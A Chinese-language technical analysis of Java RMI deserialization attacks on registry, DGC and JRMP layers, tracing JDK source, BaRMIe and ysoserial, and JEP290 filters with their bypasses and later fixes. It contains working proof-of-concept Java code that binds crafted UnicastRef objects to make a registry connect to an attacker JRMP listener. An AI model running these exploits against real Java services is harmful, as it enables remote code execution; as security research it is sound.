RMI客户端反序列化攻击RMI服务端
RMI服务端反序列化攻击RMI注册端
IDEA 中起 jdk1.7 的 ServerAndRegister,看一下 sun.rmi.registry.RegistryImpl_Skel#dispatch,直接查不到,需要起一个 debug 模式的 ServerAndRegister
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
//一处接口hash验证
if (var4 != 4905912898345647071L) {
throw new SkeletonMismatchException("interface hash mismatch");
} else {
//设定变量开始处理请求
//var6为RegistryImpl对象,调用的就是这个对象的bind、list等方法
RegistryImpl var6 = (RegistryImpl)var1;
//接受客户端输入流的参数变量
String var7;
Remote var8;
ObjectInput var10;
ObjectInput var11;
//var3表示对应的方法值0-4,这个数字是跟RMI客户端约定好的
//比如RMI客户端发送bind请求:就是sun.rmi.registry.RegistryImpl_Stub#bind中的这一句
//super.ref.newCall(this, operations, 0, 4905912898345647071L);
switch(var3) {
//统一删除了try等语句
case 0:
//bind(String,Remote)分支
var11 = var2.getInputStream();
//1.反序列化触发处
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
var6.bind(var7, var8);
case 1:
//list()分支
var2.releaseInputStream();
String[] var97 = var6.list();
ObjectOutput var98 = var2.getResultStream(true);
var98.writeObject(var97);
case 2:
//lookup(String)分支
var10 = var2.getInputStream();
//2.反序列化触发处
var7 = (String)var10.readObject();
var8 = var6.lookup(var7);
case 3:
//rebind(String,Remote)分支
var11 = var2.getInputStream();
//3.反序列化触发处
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
var6.rebind(var7, var8);
case 4:
//unbind(String)分支
var10 = var2.getInputStream();
//4.反序列化触发处
var7 = (String)var10.readObject();
var6.unbind(var7);
default:
throw new UnmarshalException("invalid method number");
}
}
}
从这里看到有 4 个分支可以触发反序列化,分为了两种情况
- lookup & unbind (String类型)
- bind & rebind (Remote 和 String)
有些文章在这里的分析有问题,实际上 RMI注册端没有任何校验,你的payload放在Remote参数位置可以攻击成功,放在String参数位置也可以攻击成功。
看一下 BaRMie 的对应嗅探模块 nb.barmie.modes.attack.attacks.Java.IllegalRegistryBind#canAttackEndpoint
Registry reg;
//Execute a dummy attack
try {
//1.新建一个RMI代理服务器,在这个代理服务器中会对输出的数据包进行重新构造
proxy = new RMIBindExploitProxy(InetAddress.getByName(ep.getEndpoint().getHost()), ep.getEndpoint().getPort(), this._options, this._dummyPayload);
proxy.startProxy();
//2.获取这个RMI对象,调用其bind方法
reg = LocateRegistry.getRegistry(proxy.getServerListenAddress().getHostAddress(), proxy.getServerListenPort());
reg.bind(this.generateRandomString(), new BaRMIeBindExploit());
} catch(BaRMIeException | UnknownHostException | RemoteException | AlreadyBoundException ex) {
//3.重构客户端输出的数据包,改变其内容为预设好的一个Object
if(ex instanceof ServerException && ex.getCause() != null && ex.getCause() instanceof UnmarshalException && ex.getCause().getCause() != null && ex.getCause().getCause() instanceof InvalidClassException) {
//4.服务端肯定会报错(由于我们预设的Object不会被正确解析执行),根据服务端返回报错栈,去匹配是否有filter status: REJECTED字符串来判断,对方的JDK版本我们是否可以攻击。
if(ex.getCause().getCause().toString().contains("filter status: REJECTED")) {
//Test payload was filtered, likely this attack isn't possible
return false;
}
}
} finally {
//Stop the proxy
if(proxy != null) {
proxy.stopProxy(true);
}
}
//如果没有匹配到就说明可以攻击。
return true;
}
攻击模块 nb.barmie.modes.attack.attacks.Java.IllegalRegistryBind#executeAttack
:
public void executeAttack(RMIEndpoint ep, DeserPayload payload, String cmd) throws BaRMIeException {
RMIBindExploitProxy proxy = null;//代理器
Registry reg;
//已删去try部分
//1.初始化一个bind RMI注册端代理器
//我们的payload从这里给入
proxy = new RMIBindExploitProxy(InetAddress.getByName(ep.getEndpoint().getHost()), ep.getEndpoint().getPort(), this._options, payload.getBytes(cmd, 0));
proxy.startProxy();
//2.从RMI注册端代理器获取一个注册端对象
reg = LocateRegistry.getRegistry(proxy.getServerListenAddress().getHostAddress(), proxy.getServerListenPort());
//3.通过RMI注册端代理器调用bind,修改参数为给定的payload
//reg.bind(随机字符串,一个接口需要的Remote接口)
//但是经过注册端代理器之后,这里的参数会被改为:bind(PAYLOAD, null),没错payload是String的位置
reg.bind(this.generateRandomString(), new BaRMIeBindExploit());
}
private static class BaRMIeBindExploit implements Remote, Serializable {
}
具体的实现 nb.barmie.net.proxy.thread.BindPayloadInjectingProxyThread#handleData
public ByteArrayOutputStream handleData(ByteArrayOutputStream data) {
ByteArrayOutputStream out;
int blockLen;
byte[] dataBytes;
//获取输入的长度
dataBytes = data.toByteArray();
//判断这个输入包是不是一个RMI调用包,如果是的话进行修改
if(dataBytes.length > 7 && dataBytes[0] == (byte)0x50) {
//调用包以 TC_BLOCKDATA 标签开头,获取它的标签长度
blockLen = (int)(dataBytes[6] & 0xff);
//自己构建一个新的字节流,以原来包的长度和TC_BLOCKDATA标签开头
out = new ByteArrayOutputStream();
out.write(dataBytes, 0, blockLen + 7);
//在后面写入我们给定的payload
out.write(this._payload, 0, this._payload.length);
//最后给一个NULL标签(作为bind方法的第二个参数)
out.write((byte)0x70);
//把新的数据包发送给服务端
return out;
} else {
//不是RMI调用的数据包就直接发送
return data;
}
}
这里的 payload 是放在了第一个参数中(String),而 ysoserial 的 RMIRegisterExpolit 模块是把 payload 放在了第二个参数中(Remote)。
翻一下 ysoserial.exploit.RMIRegistryExploit#exploit
public static void exploit(final Registry registry,
final Class extends ObjectPayload> payloadClass,
final String command) throws Exception {
new ExecCheckingSecurityManager().callWrapped(new Callable(){public Void call() throws Exception {
//获取payload
ObjectPayload payloadObj = payloadClass.newInstance();
Object payload = payloadObj.getObject(command);
String name = "pwned" + System.nanoTime();
//将payload封装成Map
//然后通过sun.reflect.annotation.AnnotationInvocationHandler建立起动态代理
//变为Remote类型
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
try {
//封装的remote类型,通过RMI客户端的正常接口发出去
registry.bind(name, remote);
} catch (Throwable e) {
e.printStackTrace();
}
Utils.releasePayload(payloadObj, payload);
return null;
}});
}
}
使用了动态代理(createMemoitizedProxy),代理之后实现 Remote 接口的绑定代理的对象的任意方法,都会前往sun.reflect.annotation.AnnotationInvocationHandler
的invoke方法执行。
public static T createMemoitizedProxy ( final Map map, final Class iface, final Class>... ifaces ) throws Exception {
//Map是我们传入的,需要填充进入AnnotationInvocationHandler构造方法中的对象。
//iface是被动态代理的接口
return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
}
//这里创建了一个`sun.reflect.annotation.AnnotationInvocationHandler`拦截器的对象
//传入了我们含有payload的map,进入构造方法,会在构造方法内进行赋值给对象的变量
public static InvocationHandler createMemoizedInvocationHandler ( final Map map ) throws Exception {
return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
}
//正式开始绑定代理动态代理
//ih 拦截器
//iface 需要被代理的类
//ifaces 这里没有
public static T createProxy ( final InvocationHandler ih, final Class iface, final Class>... ifaces ) {
final Class>[] allIfaces = (Class>[]) Array.newInstance(Class.class, ifaces.length + 1);
allIfaces[ 0 ] = iface;
if ( ifaces.length > 0 ) {
System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
}
//上面整合了一下需要代理的接口到allIfaces里面
//然后Proxy.newProxyInstance,完成allIfaces到ih的绑定
//(Gadgets.class.getClassLoader()就是获取了一个加载器,不用太管)
//iface.cast是将获取的绑定结果对象转变为iface(即Remote)的对象类型
return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih));
}
现在就满足了 registry.bind(name, remote) 中第二个参数为 Remote 的要求了。
动态代理在反序列化的作用就是执行一个拦截器的 invoke 方法(比如 AnnotationInvocationHandler 的 invoke 调用了 get,正好能补全反序列化的链子)。
但在这里用动态代理只是为了把 payload 放到 AnnotationInvocationHandler 里面,然后把 AnnotationInvocationHandler 包装成任意类接口。
这里原文作者尝试不利用动态代理,而是自己实现一个 remote 接口的类再放入 payload,效果是一样的。
//加个Remote接口的类,要支持序列化
private static class BindExploit implements Remote, Serializable {
//弄个地方放payload
private final Object memberValues;
private BindExploit(Object payload) {
memberValues = payload;
}
}
public static void exploit(final Registry registry,
final Class extends ObjectPayload> payloadClass,
final String command) throws Exception {
new ExecCheckingSecurityManager().callWrapped(new Callable(){public Void call() throws Exception {
ObjectPayload payloadObj = payloadClass.newInstance();
Object payload = payloadObj.getObject(command);
String name = "pwned" + System.nanoTime();
//yso动态代理包装
//Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
//自己包装
Remote remote_lala = new BindExploit(payload);
try {
//registry.bind(name, remote);
//自己包装
registry.bind(name, remote_lala);
} catch (Throwable e) {
e.printStackTrace();
}
Utils.releasePayload(payloadObj, payload);
return null;
}});
}
修复后的绕过
在JEP290规范之后,即JAVA版本6u141, 7u131, 8u121之后,以上攻击就不奏效了。
private static Status registryFilter(FilterInfo var0) {
//这里registryFilter为空跳过该判断
if (registryFilter != null) {
Status var1 = registryFilter.checkInput(var0);
if (var1 != Status.UNDECIDED) {
return var1;
}
}
//不允许输入流的递归层数超过20层,超过就报错
if (var0.depth() > 20L) {
return Status.REJECTED;
} else {
//获取输入流序列化class类型到var2
Class var2 = var0.serialClass();
//判断是否为null,null就报错
if (var2 == null) {
return Status.UNDECIDED;
} else {
//判断是否为数组类型
if (var2.isArray()) {
//数组长度大于10000就报错
if (var0.arrayLength() >= 0L && var0.arrayLength() > 10000L) {
return Status.REJECTED;
}
//获取到数组中的成分类,假如是还是数组嵌套,继续获取
do {
var2 = var2.getComponentType();
} while(var2.isArray());
}
//判断是不是JAVA基元类型,就是 绕过Object类型参数 小章中的那些基本类
//是基本类就允许
if (var2.isPrimitive()) {
return Status.ALLOWED;
} else {
//判断我们的输入的序列化类型是否为以下的几类class白名单之中
//如果我们输入的类属于下面这些白名单的类或超类,就返回ALLOWED
//不然就返回REJECTED报错。
return String.class != var2 &&
!Number.class.isAssignableFrom(var2) &&
!Remote.class.isAssignableFrom(var2) &&
!Proxy.class.isAssignableFrom(var2) &&
!UnicastRef.class.isAssignableFrom(var2) &&
!RMIClientSocketFactory.class.isAssignableFrom(var2) &&
!RMIServerSocketFactory.class.isAssignableFrom(var2) &&
!ActivationID.class.isAssignableFrom(var2) &&
!UID.class.isAssignableFrom(var2) ?
Status.REJECTED : Status.ALLOWED;
}
}
}
}
经过递归检测,AnnotationInvocationHandler 被拦下来了。
关于地址校验
RMI 攻击中的攻击者(服务端)不是受害者(注册端)信任的地址,但却没用被拦截。
原因是因为 注册端对于服务端的验证在反序列化操作之后。


在 8u141之后,验证逻辑变成了先验证再反序列化,服务端调用 bind 打注册端的原打法直接G了,但是 lookup 打注册端不需要验证不受影响(单从代码逻辑上)。
RMI DGC层反序列化(其实是 JRMP 层的原理)
DGC 用于维护服务端被客户端使用的远程引用(垃圾回收机制),来控制这个引用被继续使用还是清除。
用 yso 的 JRMP 打

跟进 sun.rmi.transport.DGCImpl_Skel#dispatch
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
//一样是一个dispatch用于分发作用的方法
//固定接口hash校验
if (var4 != -669196253586618813L) {
throw new SkeletonMismatchException("interface hash mismatch");
} else {
DGCImpl var6 = (DGCImpl)var1;
ObjID[] var7;
long var8;
//判断dirty和clean分支流
switch(var3) {
//clean分支流
case 0:
VMID var39;
boolean var40;
try {
//从客户端提供的输入流取值
ObjectInput var14 = var2.getInputStream();
//对于取值进行反序列化,***漏洞触发点***
var7 = (ObjID[])var14.readObject();
var8 = var14.readLong();
var39 = (VMID)var14.readObject();
var40 = var14.readBoolean();
} catch (IOException var36) {
throw new UnmarshalException("error unmarshalling arguments", var36);
} catch (ClassNotFoundException var37) {
throw new UnmarshalException("error unmarshalling arguments", var37);
} finally {
var2.releaseInputStream();
}
//进行clean操作,已经完成了攻击,之后操作已经不重要了。
var6.clean(var7, var8, var39, var40);
//..省略部分无关操作
//dirty方法分支流,跟clean在漏洞触发点上是一样没差的
case 1:
Lease var10;
try {
//从客户端提供的输入流取值
ObjectInput var13 = var2.getInputStream();
//对于取值进行反序列化,***漏洞触发点***
var7 = (ObjID[])var13.readObject();
var8 = var13.readLong();
var10 = (Lease)var13.readObject();
} catch (IOException var32) {
throw new UnmarshalException("error unmarshalling arguments", var32);
} catch (ClassNotFoundException var33) {
throw new UnmarshalException("error unmarshalling arguments", var33);
} finally {
var2.releaseInputStream();
}
Lease var11 = var6.dirty(var7, var8, var10);
//..省略无关操作
default:
throw new UnmarshalException("invalid method number");
}
}
找到了漏洞触发点,下一步就是找这个触发点时如何被调用的,传入的哪些参数。
调试中会生成 sun.rmi.transport.DGCImpl_Stub#dirty
public Lease dirty(ObjID[] var1, long var2, Lease var4) throws RemoteException {
try {
//开启了一个连接,似曾相识的 669196253586618813L 在服务端也有
RemoteCall var5 = super.ref.newCall(this, operations, 1, -669196253586618813L);
try {
//获取连接的输入流
ObjectOutput var6 = var5.getOutputStream();
//写入一个对象,在实现的本意中,这里是一个ID的对象列表ObjID[]
//***这里就是我们payload写入的地方***
var6.writeObject(var1);
//------
var6.writeLong(var2);
var6.writeObject(var4);
} catch (IOException var20) {
throw new MarshalException("error marshalling arguments", var20);
}
super.ref.invoke(var5);
Lease var24;
try {
ObjectInput var9 = var5.getInputStream();
var24 = (Lease)var9.readObject();
//省略大量错误处理..
}
这就是DGC客户端该放payload的地方了。
针对这种很底层的 payload,从顶层开始一步一步操作的过程中很可能会发生变化,所以这种情况下的 poc 通常使用自实现一个客户端去拼接反序列化包。
Ysoserial 的 JRMP-Client 的实现:
//传入目标RMI注册端(也是DGC服务端)的IP端口,以及攻击载荷的payload对象。
public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {
InetSocketAddress isa = new InetSocketAddress(hostname, port);
Socket s = null;
DataOutputStream dos = null;
try {
//建立一个socket通道,并为赋值
s = SocketFactory.getDefault().createSocket(hostname, port);
s.setKeepAlive(true);
s.setTcpNoDelay(true);
//读取socket通道的数据流
OutputStream os = s.getOutputStream();
dos = new DataOutputStream(os);
//*******开始拼接数据流*********
//以下均为特定协议格式常量,之后会说到这些数据是怎么来的
//传输魔术字符:0x4a524d49(代表协议)
dos.writeInt(TransportConstants.Magic);
//传输协议版本号:2(就是版本号)
dos.writeShort(TransportConstants.Version);
//传输协议类型: 0x4c (协议的种类,好像是单向传输数据,不需要TCP的ACK确认)
dos.writeByte(TransportConstants.SingleOpProtocol);
//传输指令-RMI call:0x50
dos.write(TransportConstants.Call);
@SuppressWarnings ( "resource" )
final ObjectOutputStream objOut = new MarshalOutputStream(dos);
//DGC的固定读取格式,等会具体分析
objOut.writeLong(2); // DGC
objOut.writeInt(0);
objOut.writeLong(0);
objOut.writeShort(0);
//选取DGC服务端的分支选dirty
objOut.writeInt(1); // dirty
//然后一个固定的hash值
objOut.writeLong(-669196253586618813L);
//我们的反序列化触发点
objOut.writeObject(payloadObject);
os.flush();
}
}
详见。。。算了不见就不见了吧

这个问题同样在 sun.rmi.transport.DGCImpl#checkInput 被过滤了。
JRMP 服务端打 JRMP 客户端
在 DGC 反序列化的中的 dirty 里,通过 super.ref.invoke(var5) 进入到了 sun.rmi.server.UnicastRef#invoke,
public void invoke(RemoteCall call) throws Exception {
try {
//写个日志,不管
clientRefLog.log(Log.VERBOSE, "execute call");
//跟进此处
call.executeCall();
//...省略一堆报错处理
而在 invoke 中又会进入 sun.rmi.transport.StreamRemoteCall#executeCall
public void executeCall() throws Exception {
byte returnType;
// read result header
DGCAckHandler ackHandler = null;
try {
//...这里发包和接受返回状态returnType和返回包数据流in
returnType = in.readByte(); //1. 反序列化一个returnType
in.readID(); // 2. 反序列化一个id for DGC acknowledgement
//具体细节比较复杂不看了
} catch (UnmarshalException e) {
//..略..
}
// 处理returnType返回状态
switch (returnType) {
//这是常量1
case TransportConstants.NormalReturn:
break;
//这是常量2
case TransportConstants.ExceptionalReturn:
Object ex;
try {
//3. 从服务端返回数据流in中读取,并反序列化
//***漏洞触发点***
ex = in.readObject();
//省略之后代码
这时客户端的反序列化点就找到了,在 yso 中用了 DGC 反序列化生成 poc 的技巧,即模拟一个服务端,把报错信息改成 payload,但还是要找一下原生服务端写序列化的位置。
要触发反序列化必须满足 returnType 为 TransportConstants.ExceptionalReturn ,可以找到
sun.rmi.transport.StreamRemoteCall#getResultStream
public ObjectOutput getResultStream(boolean success) throws IOException {
if (resultStarted)
throw new StreamCorruptedException("result already in progress");
else
resultStarted = true;
DataOutputStream wr = new DataOutputStream(conn.getOutputStream());
wr.writeByte(TransportConstants.Return);
getOutputStream(true);
//success为false,进入我们的分支
if (success)
out.writeByte(TransportConstants.NormalReturn);
else
//*******这里第一个序列化returnType*******
out.writeByte(TransportConstants.ExceptionalReturn);
//第二个序列化一个ID
out.writeID(); // write id for gcAck
return out;
}
然后查找一下调用过 getResultStream 的地方,比如 sun.rmi.server.UnicastServerRef#dispatch
//这里出来
ObjectOutput out = call.getResultStream(false);
if (e instanceof Error) {
e = new ServerError(
"Error occurred in server thread", (Error) e);
} else if (e instanceof RemoteException) {
e = new ServerException(
"RemoteException occurred in server thread",
(Exception) e);
}
if (suppressStackTraces) {
clearStackTraces(e);
}
//第三处序列化:序列化写入报错信息,也就是payload插入处
out.writeObject(e);
但是在 writeObject 中写入的是报错信息(不是我们能完全控制的部分),因此直接从服务端构造是不行的。
JRMP服务端打JRMP客户端的攻击方法不受JEP290的限制
因为 JEP290默认在RMI Register 层 和 DGC 层有过滤器,而 JRMP 是他们的底层,没 有 过 滤!
攻击流程:

- RMI 注册端(JRMP 客户端)主动连接我们的 JRMP 服务端(白名单不作用在序列化过程)
- 恶意的 JRMP 客户端在报错信息处写入 payload,序列化后发给 RMI 注册端(JRMP 客户端)
- RMI 注册端(JRMP 客户端)底层不存在白名单,可以执行 payload。
原本是目标直接对 bind 攻击,改为让 RMI 注册段 向我们指定的 JRMP 服务端发起请求,而且完成这一操作使用的对象必须都在白名单中,然后把它封装到 register.bind(String,Remote) 中。
从 bind 连接开始看
try {
var9 = var2.getInputStream();//var2是我们的输入流
var7 = (String)var9.readObject();//略过
//payload在这,在readobject中递归调用属性,进入UnicastRef#readExternal
//在其中完成了ref的填装
var80 = (Remote)var9.readObject();
} catch (ClassNotFoundException | IOException var77) {
throw new UnmarshalException("error unmarshalling arguments", var77);
} finally {
//在这里处理ref的时候才真正完成了触发
var2.releaseInputStream();
}
一直跟到 stream.saveRef(ref) 中,数据放到 incomingRefTable 中。
然后执行 var2.releaseInputStream(),在中解析 readObject 中incomingRefTable的数据。
void registerRefs() throws IOException {
if (!this.incomingRefTable.isEmpty()) {
//遍历incomingRefTable
Iterator var1 = this.incomingRefTable.entrySet().iterator();
while(var1.hasNext()) {
Entry var2 = (Entry)var1.next();
//开始一个个去DGC注册
DGCClient.registerRefs((Endpoint)var2.getKey(), (List)var2.getValue());
}
}
}
进到 sun.rmi.transport.DGCClient#registerRefs 中并执行 sun.rmi.transport.DGCClient.EndpointEntry#registerRefs
public boolean registerRefs(List refs) {
assert !Thread.holdsLock(this);
Set refsToDirty = null; // entries for refs needing dirty
long sequenceNum; // sequence number for dirty call
//阻塞执行,去遍历查询LiveRef实例
synchronized (this) {
//省略此处代码,就是做遍历查询的事情
}
//为所有结果参与DGC垃圾回收机制注册
//------进入此处------
makeDirtyCall(refsToDirty, sequenceNum);
return true;
}
进到 sun.rmi.transport.DGCClient.EndpointEntry#makeDirtyCall 中,然后进到 dirty 请求中,需要 ctrl+alt+B

public Lease dirty(ObjID[] var1, long var2, Lease var4) throws RemoteException {
try {
RemoteCall var5 = super.ref.newCall(this, operations, 1, -669196253586618813L);
try {
ObjectOutput var6 = var5.getOutputStream();
var6.writeObject(var1);
var6.writeLong(var2);
var6.writeObject(var4);
} catch (IOException var20) {
throw new MarshalException("error marshalling arguments", var20);
}
//JRMP服务端打JRMP客户端的反序列化触发点在这里面
super.ref.invoke(var5);
回到了本节的第一句话,那么就是说如果用 UnicastRef对象的readExternal方法作为反序列化入口的话,可以控制反序列化内容通过 dirty 向指定服务端发起 JRMP 连接。
下一步就是构造 payload 的,首先要明确目标:把 UncicastRef 对象封装进入 register.bind(String,Remote) 的 Remote 中,将 UnicastRef 对象反序列化(因为在bind 的 Remote 中有递归反序列化的操作),然后选择的问题就是如何将 UnicastRef 对象封装成 Remote 类型。
UnicastRef 对象:
//让受害者主动去连接的攻击者的JRMPlister的host和port
public static UnicastRef generateUnicastRef(String host, int port) {
java.rmi.server.ObjID objId = new java.rmi.server.ObjID();
sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port);
sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false);
return new sun.rmi.server.UnicastRef(liveRef);
}
三种思路:
- 不封装,参考 BaRMie,直接发送 UnicastRef。
- 参考 yso,用动态代理封装(封装拦截器),但 AnnotationInvocationHandler 被ban了。
- 找一个同时继承实现两者的类或者一个实现Remote,并将UnicastRef类型作为其一个字段的类。这样只需要把我们的UnicastRef对象塞入这个类中,然后直接塞进
register.bind(String,Remote)
中。
动态代理的方式
自定义拦截器 -> UnicasstRef 放入 PocHandler 拦截器 -> 转变为 Remote 类型
public static class PocHandler implements InvocationHandler, Serializable {
private RemoteRef ref;//来放我们的UnicastRef对象
protected PocHandler(RemoteRef newref) {//构造方法,来引入UnicastRef
ref = newref;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
return this.ref //只是为了满足拦截类的格式,随便写
}
}
public static void main(String[] args) throws Exception{
String jrmpListenerHost = "127.0.0.1";
int jrmpListenerPort = 1199;
UnicastRef unicastRef = generateUnicastRef(jrmpListenerHost, jrmpListenerPort);
Remote remote = (Remote) Proxy.newProxyInstance(RemoteRef.class.getClassLoader(), new Class>[]{Remote.class}, new PocHandler(unicastRef));
Registry registry = LocateRegistry.getRegistry(1099);//本地测试
registry.bind("2333", remote);
}
或者不用自定义,用 RemoteObjectInvocationHandler(yso的实现逻辑)
public class RemoteObjectInvocationHandler
extends RemoteObject
implements InvocationHandler //表示是一个拦截器
{
//构造函数,传入一个RemoteRef接口类型的变量
public RemoteObjectInvocationHandler(RemoteRef ref) {
super(ref);
if (ref == null) {
throw new NullPointerException();
}
}
//而UnicastRef类型实现RemoteRef接口,即可以传入
//public class UnicastRef implements RemoteRef {
public abstract class RemoteObject implements Remote, java.io.Serializable {
/** The object's remote reference. */
transient protected RemoteRef ref;
//super(ref)的内容,可以成功塞入变量中
protected RemoteObject(RemoteRef newref) {
ref = newref;
}
插曲:transient 修饰的变量在正常序列化过程中会为空,但这里却还是能成功,原因是这里的 RemoteObject 类对 writeobject、readobject 进行了重写,就会进入这个方法进行特殊的逻辑执行。
private void writeObject(java.io.ObjectOutputStream out)
throws java.io.IOException, java.lang.ClassNotFoundException
{
if (ref == null) {
throw new java.rmi.MarshalException("Invalid remote object");
} else {
String refClassName = ref.getRefClass(out);
if (refClassName == null || refClassName.length() == 0) {
//不会进入的地方....
} else {
/*
* Built-in reference class specified, so delegate
* to reference to write out its external form.
*/
//我们的序列化操作会进入到这里对于ref进行序列化
out.writeUTF(refClassName);
ref.writeExternal(out);
//在这里通过writeExternal来写入了ref
//(transient类型的变量可以通过writeExternal来写入序列化)
}
}
}
在 RemoteObjectInvocationHandler 填入一个 UnicastRef 对象,然后就是利用动态代理进行类型转变了。
public class Bypass290 {
//省略generateUnicastRef方法
public static void main(String[] args) throws Exception{
//获取UnicastRef对象
String jrmpListenerHost = "127.0.0.1";//本地测试
int jrmpListenerPort = 1199;
UnicastRef ref = generateUnicastRef(jrmpListenerHost, jrmpListenerPort);
//通过构造函数封装进入RemoteObjectInvocationHandler
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
//使用动态代理改变obj的类型变为Registry,这是Remote类型的子类
//所以接下来bind可以填入proxy
Registry proxy = (Registry) Proxy.newProxyInstance(Bypass290.class.getClassLoader(),
new Class[]{Registry.class}, obj);
//触发漏洞
Registry registry = LocateRegistry.getRegistry(1099);//本地测试
registry.bind("hello", proxy);//填入payload
}
}
找一个带 UnicastRef 类型参数的 Remote 接口的类
RemoteObjectInvocationHandler 就是,继承自 RemoteObject ,而 RemoteObject 又继承自 Remote,所以上面的 poc 把动态代理注释了也能打
public static void main(String[] args) throws Exception{
//获取UnicastRef对象
String jrmpListenerHost = "127.0.0.1";//本地测试
int jrmpListenerPort = 1199;
UnicastRef ref = generateUnicastRef(jrmpListenerHost, jrmpListenerPort);
//通过构造函数封装进入RemoteObjectInvocationHandler
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
//使用动态代理改变obj的类型变为Registry,这是Remote类型的子类
//所以接下来bind可以填入proxy 注释
// Registry proxy = (Registry) Proxy.newProxyInstance(Bypass290.class.getClassLoader(),
// new Class[]{Registry.class}, obj);
//触发漏洞
Registry registry = LocateRegistry.getRegistry(1099);//本地测试
// registry.bind("hello", proxy);//填入payload
registry.bind("hello", obj);//填入payload
}
同样的道理,那么继承了 RemoteObjectInvocationHandler 类也可以拿来利用。
RMIConnectionImpl_Stub 可以用
- 是 Remote 接口
//RMIConnectionImpl_Stub类定义,继承自RemoteStub类
public final class RMIConnectionImpl_Stub
extends java.rmi.server.RemoteStub
implements javax.management.remote.rmi.RMIConnection{
//java.rmi.server.RemoteStub 定义,继承自RemoteObject类
abstract public class RemoteStub extends RemoteObject {
//RemoteObject定义,实现Remote接口
public abstract class RemoteObject implements Remote, java.io.Serializable {
- 构造方法可以放 UnicastRef
//javax.management.remote.rmi.RMIConnectionImpl_Stub#RMIConnectionImpl_Stub 构造方法
public RMIConnectionImpl_Stub(java.rmi.server.RemoteRef ref) {
super(ref);
}
//java.rmi.server.RemoteStub#RemoteStub(java.rmi.server.RemoteRef) 构造方法
protected RemoteStub(RemoteRef ref) {
super(ref);
}
//java.rmi.server.RemoteObject#RemoteObject(java.rmi.server.RemoteRef) 构造方法
protected RemoteObject(RemoteRef newref) {
ref = newref;
}
- UnicastRemoteObject 不行
原因是客户端 bind 中的反序列化流程是
ObjectOutput var4 = var3.getOutputStream();
var4.writeObject(var1);
var4.writeObject(var2);
跟进 java.io.ObjectOutputStream#writeObject0 中,发现触发了 replaceObject 方法
private void writeObject0(Object obj, boolean unshared)
throws IOException
{
boolean oldMode = bout.setBlockDataMode(false);
depth++;
try {
//一大堆类型检查,都不会通过
// 想要去检查替换我们的object
Object orig = obj;
Class> cl = obj.getClass();
ObjectStreamClass desc;
for (;;) {
//查找相关内容
}
if (enableReplace) {//都是true
//!!!!!!!!!!!此处替换了我们的对象!!!!!!!!!!
Object rep = replaceObject(obj);
if (rep != obj && rep != null) {
cl = rep.getClass();
desc = ObjectStreamClass.lookup(cl, true);
}
obj = rep;
}
//一些替换后的处理,不太重要
// 通过类进行分配序列化过程
if (obj instanceof String) {
writeString((String) obj, unshared);
} else if (cl.isArray()) {
writeArray(obj, desc, unshared);
} else if (obj instanceof Enum) {
writeEnum((Enum>) obj, desc, unshared);
} else if (obj instanceof Serializable) {
//进入此处再开始正常的序列化
writeOrdinaryObject(obj, desc, unshared);
//...省略...
}
然后跟进到 sun.rmi.server.MarshalOutputStream#replaceObject 中
//var1就是我们想要序列化的类
protected final Object replaceObject(Object var1) throws IOException {
//这个类要是Remote接口的,并且不是RemoteStub接口的,为true
if (var1 instanceof Remote && !(var1 instanceof RemoteStub)) {
//这里会去获取到新的对象来替换
//UnicastRemoteObject走的就是这条路
Target var2 = ObjectTable.getTarget((Remote)var1);
if (var2 != null) {
return var2.getStub();
}
}
//RMIConnectionImpl_Stub走的就是这条路
return var1;
}
所以可用类的条件应该是:
- 这个类它可以填入一个UnicastRef对象(这表示我们的payload可以塞进去)
- 这个类要是Remote接口的并且是RemoteStub接口
- 这个类要是Remote接口并且不是RemoteStub接口要是获取不到原来的类也可以,比如RemoteInvocationHandler(置 null,相当于没换)
但这种限制是可用绕过的,方法就是通过反射修改 enableReplace 属性,不走对应分支就好了。
java.io.ObjectOutput out = call.getOutputStream();
//反射修改enableReplace
ReflectionHelper.setFieldValue(out, "enableReplace", false);
out.writeObject(obj); // 写入我们的对象
截止到现在,8u121 带来的白名单限制问题就算是绕过了,但 8u141的堆服务端地址的验证如果使用 bind 的话是不行的。
与Lookup结合
这里直接做了上层的 lookup 的重写
//多加了个registry参数,然后自己实现部分固定值的获取
public static Remote lookup(Registry registry, Object obj)
throws Exception {
RemoteRef ref = (RemoteRef) ReflectionHelper.getFieldValue(registry, "ref");
long interfaceHash = (long) ReflectionHelper.getFieldValue(registry, "interfaceHash");
java.rmi.server.Operation[] operations = (Operation[]) ReflectionHelper.getFieldValue(registry, "operations");
try {
....//之后就跟原来的lookup一样了
//同时这里我还加入了绕过enableReplace,使UnicastRemoteObject可用
修复
在 8u231 后做了两处修复。
把discardPedingRefs
中的 incomingRefTable 清空了
public void discardPendingRefs() {
this.in.discardRefs();//去下面
}
//sun.rmi.transport.ConnectionInputStream#discardRefs
void discardRefs() {
this.incomingRefTable.clear();//消除incomingRefTable里面我们的ref
}
因为当 bind ,lookup 这些方法出现错误的时候会进到 discardPedingRefs 中,那么之后在 sun.rmi.transport.ConnectionInputStream#registerRefs 中也解析不出上面东西了,我们装载的 ref 就被 kill 了。
那现在的问题是是不是之前的 payload 都会报错。
- 自定义类:后续反序列化中找不到它,报错
- 转换接口:var8 = (String)var9.readObject(); 进行类型转换的时候报错
嗯,都被 kill 了。
在 sun.rmi.transport.DGCImpl_Stub#dirty 提前了白名单
能发起 JRMP 请求,但执行命令的部分会被 ban 掉。
另一种绕过JEP290的思路(An Trinh)
